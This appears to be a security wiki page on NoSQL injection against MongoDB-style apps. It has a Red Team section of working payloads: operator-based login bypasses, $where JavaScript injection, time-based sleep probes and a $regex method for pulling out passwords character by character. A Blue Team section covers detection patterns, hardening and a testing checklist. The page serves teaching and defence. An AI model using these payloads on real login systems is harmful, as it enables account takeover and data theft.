NoSQL injection
NoSQL databases (MongoDB, CouchDB, Redis…) don’t use SQL, but they are injectable: if user input reaches the query as operators or as code, the attacker alters the logic. The most common case is MongoDB with Node/PHP apps passing user JSON objects straight into the query.
Threat model
Section titled “Threat model”Authentication bypass, data extraction (boolean/time-based), and in some cases
server-side JavaScript execution ($where, mapReduce).
Anatomy
Section titled “Anatomy”Instead of breaking quotes, you inject engine operators. If the backend does
db.users.find({user: req.body.user, pass: req.body.pass}) and accepts objects, the
attacker sends operators instead of strings.
Red Team
Section titled “Red Team”Auth bypass and extraction
Section titled “Auth bypass and extraction”# Login bypass (operator in JSON){"user":"admin","pass":{"$ne":null}}{"user":{"$gt":""},"pass":{"$gt":""}}
# In query string (PHP/Express syntax)user[$ne]=null&pass[$ne]=null
# JavaScript injection ($where) - if enabled{"$where":"this.pass.match(/^a/)"} # character-by-character extraction
# Boolean / time-based (blind){"$where":"sleep(5000)"} # conditional delayConfirm by response difference (login OK/KO) or by timing when blind.
Blind extraction (example)
Section titled “Blind extraction (example)”With $regex you recover the password character by character, watching whether the login returns OK or KO:
{"user":"admin","pass":{"$regex":"^a"}} # starts with 'a'? -> OK/KO{"user":"admin","pass":{"$regex":"^ad"}} # next character{"user":"admin","pass":{"$regex":"^adm"}} # and so on until rebuiltAutomate it by iterating the alphabet for each position (your own script or NoSQLMap). The same pattern works time-based with $where:"sleep(...)" when there’s no visible difference in the response.
Tooling
Section titled “Tooling”NoSQLMap, nosqli, and Burp to inject operators into JSON/parameters.
Impact and chaining
Section titled “Impact and chaining”ATO (login bypass), data dump, and JS-interpreter RCE in configs with $where/
mapReduce enabled.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Parameters with operators (
$ne,$gt,$where,$regex) or unexpected types (object where a string is expected). - Queries with
$where/JS; anomalous latencies (time-based blind).
Telemetry and sources
Section titled “Telemetry and sources”DB and app logs, WAF with JSON inspection.
Hardening
Section titled “Hardening”- Validate and cast types: expect a string where a string belongs; reject user objects/operators.
- Don’t pass user objects straight into the query; build it with concrete fields.
- Disable server-side
$where/JS if unused. - ODM/schemas (Mongoose) with strict validation.
Response
Section titled “Response”Rotate credentials if there was a dump, fix type handling, and add operator detection.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Authentication bypass via NoSQLi (
{"$ne":null}) is a classic pattern in poorly validated MEAN/MERN apps; frequent in bug bounty and CTFs. - Several frameworks/parsers have let
param[$ne]=reach the query.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Login bypass with operators tested (
$ne,$gt). - JSON and query-string syntax tested (
param[$ne]). -
$where/JS tested if enabled (extraction/timing). - Impact documented without dumping real data.